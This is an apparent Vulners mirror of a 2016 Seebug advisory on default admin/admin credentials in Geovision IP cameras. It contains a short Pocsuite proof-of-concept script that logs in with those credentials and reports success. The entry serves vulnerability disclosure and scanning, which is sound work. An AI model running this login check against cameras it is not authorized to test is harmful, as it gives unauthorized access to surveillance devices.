Lucene search
K

Geovision IP Camera device weak password vulnerability

🗓️ 22 Nov 2016 00:00:00Reported by LoRexxarType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Geovision IP Camera device weak password vulnerability

Code

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase


class TestPOC(POCBase):
    vulID = ''  # ssvid
    version = '1.0'
    author = ['Hcamael']
    vulDate = '2016-11-11'
    createDate = '2016-11-11'
    updateDate = '2016-11-11'
    references = ['']
    name = 'Geovision IP Camera设备弱密码漏洞'
    appPowerLink = 'http://www.geovision.com.tw/'
    appName = 'geovision'
    appVersion = 'IP Camera'
    vulType = 'weak passwd'
    desc = '''
        Geovision IP Camera设备存在弱密码admin/admin
    '''
    samples = ['']
    install_requires = ['']
    #请尽量不要使用第三方库,必要时参考 https://github.com/knownsec/Pocsuite/blob/master/docs/CODING.md#poc-第三方模块依赖说明 填写该字段

    def _attack(self):
        result = {}
        #Write your code here

        return self._verify()

    def _verify(self):
        result = {}
        #Write your code here
        url = self.url + "/webcam_login"
        data = {}
        data['id'] = "admin"
        data['pwd'] = "admin"
        data['ViewType'] = "2"
        data['Login'] = "Login"
        r = req.post(url, data=data, timeout=6)
        if r.status_code == 200 and 'IDKey' in r.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['URL'] = self.url
            result['AdminInfo'] = {}
            result['AdminInfo']['username'] = "admin"
            result['AdminInfo']['password'] = "admin"
        return self.parse_output(result)

    def parse_output(self, result):
        #parse output
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output


register(TestPOC)
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

22 Nov 2016 00:00Current
7.1High risk
Vulners AI Score7.1
17